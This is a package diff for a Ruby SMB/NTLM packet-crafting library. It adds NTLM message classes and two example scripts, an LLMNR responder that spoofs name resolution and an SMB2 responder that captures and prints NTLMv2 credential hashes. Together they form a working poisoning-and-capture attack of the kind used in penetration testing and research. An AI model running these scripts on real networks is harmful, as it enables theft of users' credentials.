packetgen-plugin-smb 0.5.0 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.travis.yml +3 -3
- data/README.md +2 -1
- data/examples/llmnr-responder +110 -0
- data/examples/smb-responder +233 -0
- data/lib/packetgen-plugin-smb.rb +1 -0
- data/lib/packetgen/plugin/gssapi.rb +1 -1
- data/lib/packetgen/plugin/ntlm.rb +211 -0
- data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
- data/lib/packetgen/plugin/ntlm/av_pair.rb +117 -0
- data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
- data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
- data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
- data/lib/packetgen/plugin/smb/filetime.rb +6 -0
- data/lib/packetgen/plugin/smb/negotiate/response.rb +1 -1
- data/lib/packetgen/plugin/smb/string.rb +28 -3
- data/lib/packetgen/plugin/smb2/negotiate/response.rb +5 -1
- data/lib/packetgen/plugin/smb2/session_setup/request.rb +5 -1
- data/lib/packetgen/plugin/smb2/session_setup/response.rb +5 -1
- data/lib/packetgen/plugin/smb_version.rb +1 -1
- data/packetgen-plugin-smb.gemspec +8 -3
- metadata +17 -9
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 961af27daff2c38b17b266a4f9fd51d643e95b030cba835b3af596d18b93577e
|
4
|
+
data.tar.gz: 6792ca39dc088cbc36a32116b7a45e6b27f2a4bc95752f80262829b46e53701c
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: b03e45a4d17799b7fada7b096d901bd18b6692fe6afd6d90a563a8f6ae5338a6b82b8f71377f9e996ff73791291eb9b115fb901e50b5f6f114197374c4d3dcd8
|
7
|
+
data.tar.gz: 129ae737bfca356d136dc83e6d370a007458469add87eeddf2236827d6ff280d2ab18627b69e69a26608680bc15cf9a4bbcfba2c4ee4ef0f94f33d4ec19f2462
|
data/.travis.yml
CHANGED
@@ -3,10 +3,10 @@ rvm:
|
|
3
3
|
- 2.3
|
4
4
|
- 2.4
|
5
5
|
- 2.5
|
6
|
+
- 2.6
|
6
7
|
|
7
8
|
install:
|
8
9
|
- sudo apt-get update -qq
|
9
10
|
- sudo apt-get install libpcap-dev -qq
|
10
|
-
-
|
11
|
-
|
12
|
-
- bundle exec rake
|
11
|
+
- gem install bundler --version "~>1.17.3"
|
12
|
+
- bundle _1.17.3_ install --path vendor/bundle --jobs=3 --retry=3
|
data/README.md
CHANGED
@@ -15,7 +15,8 @@ This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It
|
|
15
15
|
* SMB2 common header (support 2.x and 3.x dialects),
|
16
16
|
* Negotiate command,
|
17
17
|
* SessionSetup command,
|
18
|
-
* GSSAPI, used to transport negotiation over SMB2 commands
|
18
|
+
* GSSAPI, used to transport negotiation over SMB2 commands,
|
19
|
+
* NTLM, SMB authentication protocol.
|
19
20
|
|
20
21
|
|
21
22
|
## Installation
|
@@ -0,0 +1,110 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a LLMNR responder. It responds to all LLMNR
|
8
|
+
# requests on local network, and says requested name is its IP address.
|
9
|
+
|
10
|
+
# frozen_string_literal: true
|
11
|
+
|
12
|
+
require 'optparse'
|
13
|
+
require 'socket'
|
14
|
+
require 'ipaddr'
|
15
|
+
|
16
|
+
require 'packetgen'
|
17
|
+
require 'packetgen-plugin-smb'
|
18
|
+
|
19
|
+
BIND_ADDR = '0.0.0.0'
|
20
|
+
|
21
|
+
class LlmnrResponder
|
22
|
+
attr_reader :socket, :my_ip, :my_ip_data
|
23
|
+
|
24
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
25
|
+
|
26
|
+
def initialize
|
27
|
+
@socket = UDPSocket.new
|
28
|
+
end
|
29
|
+
|
30
|
+
def start(bind_addr:, iface:)
|
31
|
+
@my_ip = Interfacez.ipv4_address_of(iface)
|
32
|
+
@my_ip_data = IPAddr.new(my_ip).hton
|
33
|
+
configure_multicast(my_ip_data)
|
34
|
+
|
35
|
+
socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
|
36
|
+
|
37
|
+
start_loop
|
38
|
+
end
|
39
|
+
|
40
|
+
private
|
41
|
+
|
42
|
+
def log(str)
|
43
|
+
puts "[LLMNR] #{str}"
|
44
|
+
end
|
45
|
+
|
46
|
+
def configure_multicast(local_ip_bin)
|
47
|
+
mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
|
48
|
+
socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
|
49
|
+
end
|
50
|
+
|
51
|
+
def start_loop
|
52
|
+
loop do
|
53
|
+
data, peer = socket.recvfrom(1024)
|
54
|
+
pkt = PacketGen.parse(data, first_header: 'LLMNR')
|
55
|
+
next unless pkt.is?('LLMNR')
|
56
|
+
|
57
|
+
peer_port = peer[1]
|
58
|
+
peer_ip = peer[3]
|
59
|
+
log "received LLMNR request from #{peer_ip}"
|
60
|
+
|
61
|
+
# Forge LLMNR response
|
62
|
+
response_pkt = pkt.reply
|
63
|
+
response_pkt.llmnr.qr = true
|
64
|
+
response_pkt.llmnr.qd.each do |question|
|
65
|
+
next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
|
66
|
+
|
67
|
+
log "Say to #{peer_ip} #{question.name} is #{my_ip}"
|
68
|
+
answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
|
69
|
+
response_pkt.llmnr.an << answer
|
70
|
+
end
|
71
|
+
response_pkt.calc
|
72
|
+
|
73
|
+
next unless response_pkt.llmnr.ancount > 0
|
74
|
+
|
75
|
+
socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
def parse_options
|
81
|
+
options = {}
|
82
|
+
|
83
|
+
OptionParser.new do |opts|
|
84
|
+
opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
|
85
|
+
opts.separator ''
|
86
|
+
opts.separator 'Options:'
|
87
|
+
|
88
|
+
opts.on_tail('-h', '--help', 'Show this message') do
|
89
|
+
puts opts
|
90
|
+
exit
|
91
|
+
end
|
92
|
+
|
93
|
+
opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
|
94
|
+
options[:iface] = iface
|
95
|
+
end
|
96
|
+
end.parse!
|
97
|
+
|
98
|
+
options
|
99
|
+
end
|
100
|
+
|
101
|
+
def check_options(options)
|
102
|
+
raise 'No interface given' if options[:iface].nil?
|
103
|
+
raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
|
104
|
+
end
|
105
|
+
|
106
|
+
options = parse_options
|
107
|
+
|
108
|
+
check_options options
|
109
|
+
|
110
|
+
LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
|
@@ -0,0 +1,233 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a SMB responder. It responds to all SMB
|
8
|
+
# Negotiate request to capture credentials.
|
9
|
+
# Before running it (as root), llmnr-responder should be running.
|
10
|
+
|
11
|
+
# frozen_string_literal: true
|
12
|
+
|
13
|
+
require 'socket'
|
14
|
+
require 'securerandom'
|
15
|
+
require 'ostruct'
|
16
|
+
|
17
|
+
require 'packetgen'
|
18
|
+
require 'packetgen-plugin-smb'
|
19
|
+
|
20
|
+
BIND_ADDR = '0.0.0.0'
|
21
|
+
|
22
|
+
DOMAIN_NAME = 'SMB3'
|
23
|
+
COMPUTER_NAME = 'WIN-AZE546CFHTD'
|
24
|
+
|
25
|
+
Thread.abort_on_exception = true
|
26
|
+
|
27
|
+
Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
|
28
|
+
def to_s
|
29
|
+
user = self.user.encode('UTF-8')
|
30
|
+
computer = self.computer.encode('UTF-8')
|
31
|
+
str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
|
32
|
+
str << "Challenge: #{challenge}\nProof: #{proof}\n"
|
33
|
+
str << "Response: #{response}"
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
class Smb2Responder
|
38
|
+
attr_reader :socket, :guid, :salt
|
39
|
+
|
40
|
+
NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
|
41
|
+
STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
|
42
|
+
STATUS_ACCESS_DENIED = 0xc0000022
|
43
|
+
|
44
|
+
SMB2_SIZE = 8_388_608
|
45
|
+
SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
|
46
|
+
SMB2_SALT_LEN = 32
|
47
|
+
|
48
|
+
def initialize
|
49
|
+
@guid = SecureRandom.uuid
|
50
|
+
@salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
|
51
|
+
end
|
52
|
+
|
53
|
+
def start(bind_addr:)
|
54
|
+
@socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
|
55
|
+
|
56
|
+
start_loop
|
57
|
+
end
|
58
|
+
|
59
|
+
private
|
60
|
+
|
61
|
+
def log(str)
|
62
|
+
puts "[SMB2] #{str}"
|
63
|
+
end
|
64
|
+
|
65
|
+
def get_smb_data(sock)
|
66
|
+
PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
|
67
|
+
end
|
68
|
+
|
69
|
+
def smb2_nego_resp1
|
70
|
+
return @resp1_pkt if defined? @resp1_pkt
|
71
|
+
|
72
|
+
@resp1_pkt = PacketGen.gen('NetBIOS::Session')
|
73
|
+
.add('SMB2', credit: 1)
|
74
|
+
.add('SMB2::Negotiate::Response',
|
75
|
+
dialect: 0x2ff,
|
76
|
+
server_guid: guid, capabilities: 7,
|
77
|
+
max_trans_size: SMB2_SIZE,
|
78
|
+
max_read_size: SMB2_SIZE,
|
79
|
+
max_write_size: SMB2_SIZE)
|
80
|
+
@resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
|
81
|
+
@resp1_pkt.calc
|
82
|
+
@resp1_pkt
|
83
|
+
end
|
84
|
+
|
85
|
+
def first_nego_response
|
86
|
+
pkt = smb2_nego_resp1
|
87
|
+
pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
|
88
|
+
pkt
|
89
|
+
end
|
90
|
+
|
91
|
+
def second_nego_response(req_pkt)
|
92
|
+
smb2_req = req_pkt.smb2
|
93
|
+
nego_req = req_pkt.smb2_negotiate_request
|
94
|
+
|
95
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
96
|
+
.add('SMB2',
|
97
|
+
credit: 1,
|
98
|
+
message_id: smb2_req.message_id,
|
99
|
+
reserved: smb2_req.reserved)
|
100
|
+
.add('SMB2::Negotiate::Response',
|
101
|
+
dialect: nego_req.dialects.last,
|
102
|
+
server_guid: guid,
|
103
|
+
capabilities: 0x2f,
|
104
|
+
max_trans_size: SMB2_SIZE,
|
105
|
+
max_read_size: SMB2_SIZE,
|
106
|
+
max_write_size: SMB2_SIZE,
|
107
|
+
system_time: PacketGen::Plugin::SMB::Filetime.now,
|
108
|
+
buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
|
109
|
+
|
110
|
+
pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
|
111
|
+
pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
|
112
|
+
|
113
|
+
pkt.smb2_negotiate_response.context_list << { type: 2 }
|
114
|
+
pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
|
115
|
+
pkt.calc
|
116
|
+
pkt
|
117
|
+
end
|
118
|
+
|
119
|
+
def first_session_setup_response(req_pkt)
|
120
|
+
smb2_req = req_pkt.smb2
|
121
|
+
setup_req = req_pkt.smb2_sessionsetup_request
|
122
|
+
ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
|
123
|
+
|
124
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
125
|
+
.add('SMB2',
|
126
|
+
credit_charge: 1,
|
127
|
+
credit: 1,
|
128
|
+
status: STATUS_MORE_PROCESSING_REQUIRED,
|
129
|
+
message_id: smb2_req.message_id,
|
130
|
+
reserved: smb2_req.reserved)
|
131
|
+
.add('SMB2::SessionSetup::Response')
|
132
|
+
|
133
|
+
ntlm = PacketGen::Plugin::NTLM::Challenge.new
|
134
|
+
ntlm.flags = ntlm_nego.flags | 0x00810000
|
135
|
+
ntlm.flags &= 0xfdffff15
|
136
|
+
ntlm.challenge = [rand(2**64)].pack('q<')
|
137
|
+
ntlm.target_name.read('SMB3')
|
138
|
+
ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
|
139
|
+
ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
|
140
|
+
ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
|
141
|
+
ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
|
142
|
+
ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
|
143
|
+
ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
|
144
|
+
ntlm.target_info << { type: 'EOL' }
|
145
|
+
ntlm.calc_length
|
146
|
+
|
147
|
+
gssapi = pkt.smb2_sessionsetup_response.buffer
|
148
|
+
gssapi[:token_resp][:response].value = ntlm.to_s
|
149
|
+
gssapi[:token_resp][:negstate].value = 'accept-incomplete'
|
150
|
+
gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
|
151
|
+
|
152
|
+
pkt.calc
|
153
|
+
|
154
|
+
[pkt, ntlm.challenge]
|
155
|
+
end
|
156
|
+
|
157
|
+
def deny_access(req_pkt)
|
158
|
+
smb2_req = req_pkt.smb2
|
159
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
160
|
+
.add('SMB2',
|
161
|
+
credit: 1,
|
162
|
+
credit_charge: 1,
|
163
|
+
status: STATUS_ACCESS_DENIED,
|
164
|
+
message_id: smb2_req.message_id,
|
165
|
+
reserved: smb2_req.reserved)
|
166
|
+
.add('SMB2::SessionSetup::Response')
|
167
|
+
# Remove buffer
|
168
|
+
pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
|
169
|
+
pkt.calc
|
170
|
+
pkt
|
171
|
+
end
|
172
|
+
|
173
|
+
def start_loop
|
174
|
+
loop do
|
175
|
+
client = socket.accept
|
176
|
+
to_close = false
|
177
|
+
|
178
|
+
log "connection from #{client.peeraddr[2]}"
|
179
|
+
|
180
|
+
credentials = Credentials.new
|
181
|
+
credentials.ip = client.peeraddr.last
|
182
|
+
|
183
|
+
until to_close
|
184
|
+
rcv_pkt = get_smb_data(client)
|
185
|
+
|
186
|
+
pkt_to_send = case rcv_pkt.headers.last.protocol_name
|
187
|
+
when 'SMB::Negotiate::Request'
|
188
|
+
unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
|
189
|
+
to_close = true
|
190
|
+
nil
|
191
|
+
end
|
192
|
+
|
193
|
+
first_nego_response
|
194
|
+
|
195
|
+
when 'SMB2::Negotiate::Request'
|
196
|
+
second_nego_response rcv_pkt
|
197
|
+
|
198
|
+
when 'SMB2::SessionSetup::Request'
|
199
|
+
gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
|
200
|
+
if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
|
201
|
+
pkt, challenge = first_session_setup_response(rcv_pkt)
|
202
|
+
credentials.challenge = binary2hex(challenge)
|
203
|
+
pkt
|
204
|
+
else
|
205
|
+
response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
|
206
|
+
if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
|
207
|
+
credentials.proof = binary2hex(response.nt_response.response)
|
208
|
+
credentials.user = response.user_name
|
209
|
+
credentials.computer = response.workstation
|
210
|
+
credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
|
211
|
+
to_close = true
|
212
|
+
deny_access rcv_pkt
|
213
|
+
else
|
214
|
+
to_close = true
|
215
|
+
nil
|
216
|
+
end
|
217
|
+
end
|
218
|
+
end
|
219
|
+
|
220
|
+
client.send(pkt_to_send.to_s, 0) if pkt_to_send
|
221
|
+
client.close if to_close
|
222
|
+
|
223
|
+
puts credentials.to_s unless credentials.response.nil?
|
224
|
+
end
|
225
|
+
end
|
226
|
+
end
|
227
|
+
|
228
|
+
def binary2hex(str)
|
229
|
+
str.unpack('H*').first
|
230
|
+
end
|
231
|
+
end
|
232
|
+
|
233
|
+
Smb2Responder.new.start(bind_addr: BIND_ADDR)
|
data/lib/packetgen-plugin-smb.rb
CHANGED
@@ -101,7 +101,7 @@ module PacketGen::Plugin
|
|
101
101
|
model(:token_resp, NegTokenResp)]
|
102
102
|
|
103
103
|
# @param [Hash] args
|
104
|
-
# @
|
104
|
+
# @option args [Symbol] :token +:init+ or +:response+ to force selection of
|
105
105
|
# token CHOICE.
|
106
106
|
def initialize(args={})
|
107
107
|
token = args.delete(:token)
|
@@ -0,0 +1,211 @@
|
|
1
|
+
# This file is part of packetgen-plugin-smb.
|
2
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
|
+
# This program is published under MIT license.
|
5
|
+
|
6
|
+
# frozen_string_literal: true
|
7
|
+
|
8
|
+
module PacketGen::Plugin
|
9
|
+
# Base class for NTLM authentication protocol.
|
10
|
+
# @author Sylvain Daubert
|
11
|
+
class NTLM < PacketGen::Types::Fields
|
12
|
+
# NTLM message types
|
13
|
+
TYPES = {
|
14
|
+
'negotiate' => 1,
|
15
|
+
'challenge' => 2,
|
16
|
+
'authenticate' => 3
|
17
|
+
}.freeze
|
18
|
+
|
19
|
+
# NTLM signature
|
20
|
+
SIGNATURE = "NTLMSSP\0"
|
21
|
+
|
22
|
+
# void version
|
23
|
+
VOID_VERSION = [0].pack('q').freeze
|
24
|
+
VOID_CHALLENGE = VOID_VERSION
|
25
|
+
|
26
|
+
# @!attribute signature
|
27
|
+
# 8-byte NTLM signature
|
28
|
+
# @return [String]
|
29
|
+
define_field :signature, PacketGen::Types::String, static_length: 8, default: SIGNATURE
|
30
|
+
# @!attribute type
|
31
|
+
# 4-byte message type
|
32
|
+
# @return [Integer]
|
33
|
+
define_field :type, PacketGen::Types::Int32leEnum, enum: TYPES
|
34
|
+
# @!attribute payload
|
35
|
+
# @return [String]
|
36
|
+
define_field :payload, PacketGen::Types::String
|
37
|
+
|
38
|
+
class <<self
|
39
|
+
# @api private
|
40
|
+
# Return fields defined in payload one.
|
41
|
+
# @return [Hash]
|
42
|
+
attr_accessor :payload_fields
|
43
|
+
|
44
|
+
# Create a NTLM object from a binary string
|
45
|
+
# @param [String] str
|
46
|
+
# @return [NTLM]
|
47
|
+
def read(str)
|
48
|
+
ntlm = self.new.read(str)
|
49
|
+
type = TYPES.key(ntlm.type)
|
50
|
+
return ntlm if type.nil?
|
51
|
+
|
52
|
+
klass = NTLM.const_get(type.capitalize)
|
53
|
+
klass.new.read(str)
|
54
|
+
end
|
55
|
+
|
56
|
+
# Define a flags field.
|
57
|
+
# @return [void]
|
58
|
+
def define_negotiate_flags
|
59
|
+
define_field_before :payload, :flags, PacketGen::Types::Int32le
|
60
|
+
define_bit_fields_on :flags, :flags_w, :flags_v, :flags_u, :flags_r13, 3,
|
61
|
+
:flags_t, :flags_r4, :flags_s, :flags_r,
|
62
|
+
:flags_r5, :flags_q, :flags_p, :flags_r6,
|
63
|
+
:flags_o, :flags_n, :flags_m, :flags_r7,
|
64
|
+
:flags_l, :flags_k, :flags_j, :flags_r8,
|
65
|
+
:flags_h, :flags_r9, :flags_g, :flags_f,
|
66
|
+
:flags_e, :flags_d, :flags_r10, :flags_c,
|
67
|
+
:flags_b, :flags_a
|
68
|
+
alias_method :nego56?, :flags_w?
|
69
|
+
alias_method :key_exch?, :flags_v?
|
70
|
+
alias_method :nego128?, :flags_u?
|
71
|
+
alias_method :version?, :flags_t?
|
72
|
+
alias_method :target_info?, :flags_s?
|
73
|
+
alias_method :non_nt_session_key?, :flags_r?
|
74
|
+
alias_method :identify?, :flags_q?
|
75
|
+
alias_method :ext_session_security?, :flags_p?
|
76
|
+
alias_method :target_type_server?, :flags_o?
|
77
|
+
alias_method :target_type_domain?, :flags_n?
|
78
|
+
alias_method :always_sign?, :flags_m?
|
79
|
+
alias_method :oem_workstation_supplied?, :flags_l?
|
80
|
+
alias_method :oem_domain_supplied?, :flags_k?
|
81
|
+
alias_method :anonymous?, :flags_j?
|
82
|
+
alias_method :ntlm?, :flags_h?
|
83
|
+
alias_method :lm_key?, :flags_g?
|
84
|
+
alias_method :datagram?, :flags_f?
|
85
|
+
alias_method :seal?, :flags_e?
|
86
|
+
alias_method :sign?, :flags_d?
|
87
|
+
alias_method :request_target?, :flags_c?
|
88
|
+
alias_method :oem?, :flags_b?
|
89
|
+
alias_method :unicode?, :flags_a?
|
90
|
+
alias_method :old_flags_a=, :flags_a=
|
91
|
+
alias_method :old_flags=, :flags=
|
92
|
+
|
93
|
+
class_eval do
|
94
|
+
def flags_a=(value)
|
95
|
+
self.old_flags_a = value
|
96
|
+
self.class.payload_fields.each do |name, _|
|
97
|
+
attr = send(name)
|
98
|
+
attr.unicode = value if attr.respond_to?(:unicode=)
|
99
|
+
end
|
100
|
+
|
101
|
+
value
|
102
|
+
end
|
103
|
+
|
104
|
+
def flags=(value)
|
105
|
+
self.old_flags = value
|
106
|
+
self.flags_a = value & 1
|
107
|
+
end
|
108
|
+
end
|
109
|
+
end
|
110
|
+
|
111
|
+
# Define a field in payload. Also add +name_len+, +name_maxlen+ and
|
112
|
+
# +name_offset+ fields.
|
113
|
+
# @param [Symbol] name name of field.
|
114
|
+
# @param [Class,nil] type type of +name+ field.
|
115
|
+
# @param [Hash] options type's options needed at build time
|
116
|
+
# @return [void]
|
117
|
+
def define_in_payload(name, type=SMB::String, options={})
|
118
|
+
@payload_fields ||= {}
|
119
|
+
@payload_fields[name] = [type, options]
|
120
|
+
|
121
|
+
define_field_before :payload, :"#{name}_len", PacketGen::Types::Int16le
|
122
|
+
define_field_before :payload, :"#{name}_maxlen", PacketGen::Types::Int16le
|
123
|
+
define_field_before :payload, :"#{name}_offset", PacketGen::Types::Int32le
|
124
|
+
|
125
|
+
attr_accessor name
|
126
|
+
end
|
127
|
+
end
|
128
|
+
|
129
|
+
# @abstract This method is meaningful for {NTLM} subclasses only.
|
130
|
+
def initialize(options={})
|
131
|
+
super
|
132
|
+
return if self.class.payload_fields.nil?
|
133
|
+
|
134
|
+
self.class.payload_fields.each do |name, type_and_opt|
|
135
|
+
type, options = type_and_opt
|
136
|
+
content = if type.new.respond_to?(:unicode?)
|
137
|
+
type.new(options.merge(unicode: unicode?))
|
138
|
+
else
|
139
|
+
type.new(options)
|
140
|
+
end
|
141
|
+
send(:"#{name}=", content)
|
142
|
+
end
|
143
|
+
end
|
144
|
+
|
145
|
+
# @abstract This class is meaningful for {NTLM} subclasses only.
|
146
|
+
# Populate object from a binary string
|
147
|
+
# @param [String] str
|
148
|
+
# @return [self]
|
149
|
+
def read(str)
|
150
|
+
super
|
151
|
+
return self if self.class.payload_fields.nil?
|
152
|
+
|
153
|
+
self.class.payload_fields.each do |name, type_and_opt|
|
154
|
+
type, options = type_and_opt
|
155
|
+
offset_in_payload = send(:"#{name}_offset") - offset_of(:payload)
|
156
|
+
length = send(:"#{name}_len")
|
157
|
+
content = if type.new.respond_to?(:unicode?)
|
158
|
+
type.new(options.merge(unicode: unicode?))
|
159
|
+
else
|
160
|
+
type.new(options)
|
161
|
+
end
|
162
|
+
content.read(payload[offset_in_payload, length]) if length > 0
|
163
|
+
send(:"#{name}=", content)
|
164
|
+
end
|
165
|
+
|
166
|
+
self
|
167
|
+
end
|
168
|
+
|
169
|
+
# @abstract This class is meaningful for {NTLM} subclasses only.
|
170
|
+
# Calculate and set +len+, +maxlen+ and +offset+ fields defined for
|
171
|
+
# fields in {#payload}.
|
172
|
+
# @return [void]
|
173
|
+
def calc_length
|
174
|
+
return self if self.class.payload_fields.nil?
|
175
|
+
|
176
|
+
previous_len = 0
|
177
|
+
self.class.payload_fields.each do |name, _type_and_opt|
|
178
|
+
send(:"#{name}_len=", 0)
|
179
|
+
send(:"#{name}_offset=", offset_of(:payload) + previous_len)
|
180
|
+
|
181
|
+
field = send(name)
|
182
|
+
next unless field && !field.empty?
|
183
|
+
|
184
|
+
length = field.respond_to?(:sz) ? field.sz : field.size
|
185
|
+
send(:"#{name}_len=", length)
|
186
|
+
send(:"#{name}_maxlen=", length)
|
187
|
+
previous_len = length
|
188
|
+
end
|
189
|
+
end
|
190
|
+
|
191
|
+
# @abstract This class is meaningful for {NTLM} subclasses only.
|
192
|
+
# @return [String]
|
193
|
+
def to_s
|
194
|
+
s = super
|
195
|
+
return s if self.class.payload_fields.nil?
|
196
|
+
|
197
|
+
self.class.payload_fields.each do |name, _type_and_opt|
|
198
|
+
attr = send(name)
|
199
|
+
attr.unicode = unicode? if attr.respond_to?(:unicode=)
|
200
|
+
s << attr.to_s unless attr.nil? || send("#{name}_len").zero?
|
201
|
+
end
|
202
|
+
s
|
203
|
+
end
|
204
|
+
end
|
205
|
+
end
|
206
|
+
|
207
|
+
require_relative 'ntlm/av_pair'
|
208
|
+
require_relative 'ntlm/ntlmv2_response'
|
209
|
+
require_relative 'ntlm/negotiate'
|
210
|
+
require_relative 'ntlm/challenge'
|
211
|
+
require_relative 'ntlm/authenticate'
|